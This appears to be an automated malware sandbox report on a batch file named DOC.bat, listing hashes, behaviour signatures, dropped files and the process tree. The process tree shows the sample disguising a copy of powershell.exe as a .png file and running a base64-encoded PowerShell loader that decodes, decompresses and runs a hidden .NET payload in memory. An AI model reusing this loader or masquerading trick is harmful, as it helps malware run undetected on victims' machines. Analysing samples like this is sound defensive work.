Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    24/10/2023, 10:27

General

  • Target

    DOC.bat

  • Size

    1013KB

  • MD5

    63ea9acdff3fe07560351cca90577d8e

  • SHA1

    cd34d68bedb135454ac0a69a9a18432eaa0ea68a

  • SHA256

    805359e8add29af8ed6534df363b834315943a8d8af92579a660aa2645531086

  • SHA512

    b7c96d4c88ee74f54d5936e4bfbf4f796bed17bde73cfd5e500f93b87e7259d1ba2529bebc117a45fd2fb6952a91b9efc4fd5039626bb22e98c3819f8f417644

  • SSDEEP

    24576:Ha02wgz0sNZjcZ/zVRU3u0uTd2lKOXMe8GBySoC4FkQ:HwzdZ0zE8GVe

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:3048
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qexknh.png
        2⤵
          PID:2848
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\DOC.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2568
          • C:\Windows\system32\xcopy.exe
            xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qexknh.png
            3⤵
              PID:2616
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo F "
              3⤵
                PID:2584
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo F "
                3⤵
                  PID:2604
                • C:\Windows\system32\xcopy.exe
                  xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\DOC.bat C:\Users\Admin\AppData\Local\Temp\Qexknh.png.bat
                  3⤵
                    PID:2672
                  • C:\Users\Admin\AppData\Local\Temp\Qexknh.png
                    C:\Users\Admin\AppData\Local\Temp\Qexknh.png -win 1 -enc JABWAG4AdABpAGEAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAVABlAHoAYwBlAGQAegAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABWAG4AdABpAGEAKQA7ACQAVQBrAGYAZQB3AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAFQAZQB6AGMAZQBkAHoAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATQBmAHAAYwBsAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVQBrAGYAZQB3AGUALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAE0AZgBwAGMAbABnAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABNAGYAcABjAGwAZwAuAEMAbABvAHMAZQAoACkAOwAkAFUAawBmAGUAdwBlAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAVABlAHoAYwBlAGQAegAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABUAGUAegBjAGUAZAB6ACkAOwAgACQAVAB5AHIAbABpAG0AZQByAG4AZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABUAGUAegBjAGUAZAB6ACkAOwAgACQAVgBrAHUAagB3AGMAeQBxAHQAYgBkACAAPQAgACQAVAB5AHIAbABpAG0AZQByAG4AZQAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAEsAYQBiAGMAcQB6ACAAPQAgACQAVgBrAHUAagB3AGMAeQBxAHQAYgBkAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2632

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\Qexknh.png

                Filesize

                442KB

                MD5

                92f44e405db16ac55d97e3bfe3b132fa

                SHA1

                04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

                SHA256

                6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

                SHA512

                f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

              • C:\Users\Admin\AppData\Local\Temp\Qexknh.png

                Filesize

                442KB

                MD5

                92f44e405db16ac55d97e3bfe3b132fa

                SHA1

                04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

                SHA256

                6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

                SHA512

                f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

              • memory/2632-8-0x0000000074BC0000-0x000000007516B000-memory.dmp

                Filesize

                5.7MB

              • memory/2632-10-0x00000000025B0000-0x00000000025F0000-memory.dmp

                Filesize

                256KB

              • memory/2632-11-0x00000000025B0000-0x00000000025F0000-memory.dmp

                Filesize

                256KB

              • memory/2632-9-0x0000000074BC0000-0x000000007516B000-memory.dmp

                Filesize

                5.7MB

              • memory/2632-12-0x00000000025B0000-0x00000000025F0000-memory.dmp

                Filesize

                256KB

              • memory/2632-13-0x0000000074BC0000-0x000000007516B000-memory.dmp

                Filesize

                5.7MB